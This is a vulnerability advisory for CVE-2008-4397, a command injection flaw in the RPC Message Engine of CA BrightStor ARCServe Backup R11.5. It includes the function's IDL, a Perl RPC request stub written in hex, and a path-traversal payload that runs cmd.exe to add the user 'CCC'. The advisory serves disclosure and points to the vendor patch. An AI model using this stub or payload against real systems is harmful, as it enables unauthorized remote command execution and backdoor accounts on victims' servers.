‘CA BrightStor ARCServe BackUp Message Engine Command Injection Vulnerability’

Details

‘Vulnerable Systems:
 * CA BrightStor ARCServe BackUp version R11.5

Service named ‘CA BrightStor Message Engine’ (Process Name: msgeng.exe) registers a RPC interface which is listening on TCP port 6504, following is some related information:
        UUID : 506b1890-14c8-11d1-bbc3-00805fa6962e
        Version : 1.0
        Listen Port : 6504

Remarkably, we can access this interface anonymously via ‘ncacn_ip_tcp’. The following is the IDL of the function of opnum 0x10A:

        /* opcode: 0x156, address: 0x28EB1C00 */
        long sub_28EB1C00 (
         [in] handle_t arg_1,
         [in][string] char * arg_2,
         [in][string] char * arg_3,
         [in][string] char * arg_4,
         [in][string] char * arg_5,
         [in] long arg_6,
         [in][size_is(arg_1)] char * arg_7,
         [in] long arg_8,
         [in, out] long * arg_9,
         [out][size_is(*arg_9)] char ** arg_10
        );

Following is the normal stub of this function:
        my $stub=
        ‘x10x00x00x00x00x00x00x00’. #should equal to remote computer name
        ‘x10x00x00x00’.
        ‘kkk-49ade5b31c1’.
        ‘x00’.

        ‘x08x00x00x00x00x00x00x00’. #will run ‘aaa.exe’
        ‘x08x00x00x00’.
        ‘aaa.exe’
        ‘x00’.

        ‘x81x00x00x00x00x00x00x00’. #arg_4
        ‘x81x00x00x00’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘BBBBBBBBBBBBBBBB’.
        ‘x00x00x00x00’.

        ‘x01x00x00x00’. #arg_5
        ‘x00x00x00x00’.
        ‘x01x00x00x00’.
        ‘x00x00x00x00’.
        
        ‘xcex00x00x00’. #arg_6
        ‘xcex00x00x00’.

        ‘xffxfex3cx00x3fx00x78x00’.
        ‘x6dx00x6cx00x20x00x76x00x65x00x72x00x73x00x69x00’.
        ‘x6fx00x6ex00x3dx00x22x00x31x00x2ex00x30x00x22x00’.
        ‘x3fx00x3ex00x0dx00x0ax00x3cx00x52x00x45x00x50x00’.
        ‘x4fx00x52x00x54x00x3ex00x0dx00x0ax00x20x00x3cx00’.
        ‘x48x00x45x00x41x00x44x00x45x00x52x00x20x00x44x00’.
        ‘x61x00x74x00x65x00x3dx00x22x00x79x00x65x00x73x00’.
        ‘x22x00x3ex00x0dx00x0ax00x3cx00x54x00x49x00x54x00’.
        ‘x4cx00x45x00x3ex00xcfx6bxe5x65x07x59xfdx4exb6x72’.
        ‘x01x60xa5x62x68x88x3cx00x2fx00x54x00x49x00x54x00’.
        ‘x4cx00x45x00x3ex00x0dx00x0ax00x3cx00x44x00x45x00’.
        ‘x53x00x43x00x52x00x3ex00x28x57x4dx52x20x00x32x00’.
        ‘x34x00x20x00x0fx5cxf6x65x85x51x8cx5bx10x62x84x76’.
        ‘x07x59xfdx4ex5cx4fx00x00x00x00x00x00xdex77x00x00’;

First, the first parameter (victim’s computer name) should equal to the real computer name. Second, when we change the string ‘aaa.exe’ such as ‘../aaa.exe’, it will bypass the current directory, if the program has been installed by default, transferring the following string will reach the ‘cmd.exe’ and add an user with ‘CCC’/’ZZZ'(username/password) on the affected system:
../../../../../../../..//winnt//system32//cmd.exe /c ‘net user CCC ZZZ /add’ ||

Solution:
CA has released a bulletin as well as a patch for this vulnerability which can be found at:
https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=188143

CVE Information:
CVE-2008-4397‘